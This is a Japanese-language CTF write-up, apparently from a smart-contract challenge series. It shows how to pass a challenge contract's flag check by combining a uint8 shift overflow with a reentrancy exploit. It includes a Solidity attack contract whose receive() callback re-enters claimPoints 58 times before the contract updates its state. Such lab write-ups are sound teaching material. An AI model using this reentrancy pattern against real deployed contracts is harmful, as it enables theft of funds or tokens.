Skip to content
On this page

S2C6: uint8 Overflow + Reentrancy

1. 問題

コントラクトにはポイントとレベルのシステムがあり、mintFlaguint8(points << levels) == 32 をチェックします。points << levels が uint8 のオーバーフロー後にちょうど 32 になるような points と levels の組み合わせを見つける必要があります。

2. 原因

コントラクトは uint8 変換を使用してシフト結果を切り詰めています。uint8 は 8 ビット(0-255)しかないため、左シフト後の値が 255 を超えるとオーバーフローしてラップアラウンドします。同時に、コントラクトにはリエントランシー脆弱性があり、無限にポイントを取得できます。

3. 解決策

  1. リエントランシー脆弱性を利用して 59 ポイントを取得します(59 回の claimPoints
  2. 5 回アップグレードします(50 ポイント消費、残り 9 ポイント、レベル 5)
  3. 検証:uint8(9 << 5) = uint8(288) = 288 - 256 = 32 ✓
  4. points(9) < 10 ✓ かつ points × levels(45) >= 30 ✓
solidity
function solve() public {
    counter = 0;
    challenge.resetPoints();
    challenge.claimPoints(); // さらに 58 回リエントリ → 合計 59
    // 5 x upgradeLevel: points=9, levels=5
    for (uint i = 0; i < 5; i++) challenge.upgradeLevel();
    challenge.mintFlag(); // uint8(9<<5)=32 ✓
}

receive() external payable {
    if (counter < 58) { counter++; challenge.claimPoints(); }
}

4. 遭遇した落とし穴

リエントリ回数とオーバーフローパラメータの一致: リエントリ回数とアップグレード回数を正確に計算し、最終的なパラメータがすべてのチェックを満たすようにする必要があります。初期計算を誤ると条件を満たせなくなる可能性があります。

5. 落とし穴の原因

3 つの条件が相互に制約し合います:

  1. points < 10 → 最終ポイントは 10 未満でなければならない
  2. points * levels >= 30 → ポイント × レベル ≥ 30
  3. uint8(points << levels) == 32 → シフト後の uint8 切り詰め = 32

これら 3 つの条件を同時に満たす (points, levels) の組み合わせと、その組み合わせに到達するパスを見つける必要があります。

6. 解決方法

数学的分析

  • 9 << 5 = 288uint8(288) = 288 % 256 = 32
  • points=9 < 10 ✓9*5=45 >= 30 ✓
  • 到達パス:59 回の claimPoints → points=59、5 回の upgradeLevel → points=59-50=9
  • キー:points << levels が uint8 で 32 になる最適な組み合わせを見つけること

uint8 シフトオーバーフロー検索テーブル

pointslevelsp<<luint8(p<<l)
9528832 ✓
153232 ✓
243232 ✓

9 と 5 を選択する理由:points * levels = 45 >= 30 かつ points = 9 < 10

7. 技術的ポイント

ポイント説明
uint8 オーバーフロー左シフト結果が 255 を超えると自動的に切り詰め:uint8(x) == x % 256
リエントランシー脆弱性状態更新前の外部呼び出し → 無限リエントリ
パラメータ空間探索points(1-255) × levels(0-255) を網羅し uint8(p<<l)==32 を満たす組み合わせを発見

コアコードsolutions/season2/Challenge6SolutionV2.sol(59 回のリエントリ + 5 回のアップグレード)

Built with AiAda